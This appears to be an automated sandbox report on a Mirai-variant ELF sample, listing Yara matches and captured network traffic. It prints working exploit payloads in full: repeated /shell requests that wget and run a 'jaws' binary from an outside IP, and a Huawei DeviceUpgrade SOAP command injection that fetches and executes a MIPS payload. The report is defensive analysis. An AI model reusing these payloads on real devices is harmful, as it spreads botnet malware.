Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: spc.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: spc.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.linELF@0/0@30/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
